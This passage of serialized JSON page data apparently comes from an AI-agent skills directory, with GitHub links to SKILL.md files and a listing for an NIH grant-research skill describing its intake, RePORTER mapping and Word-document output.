query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]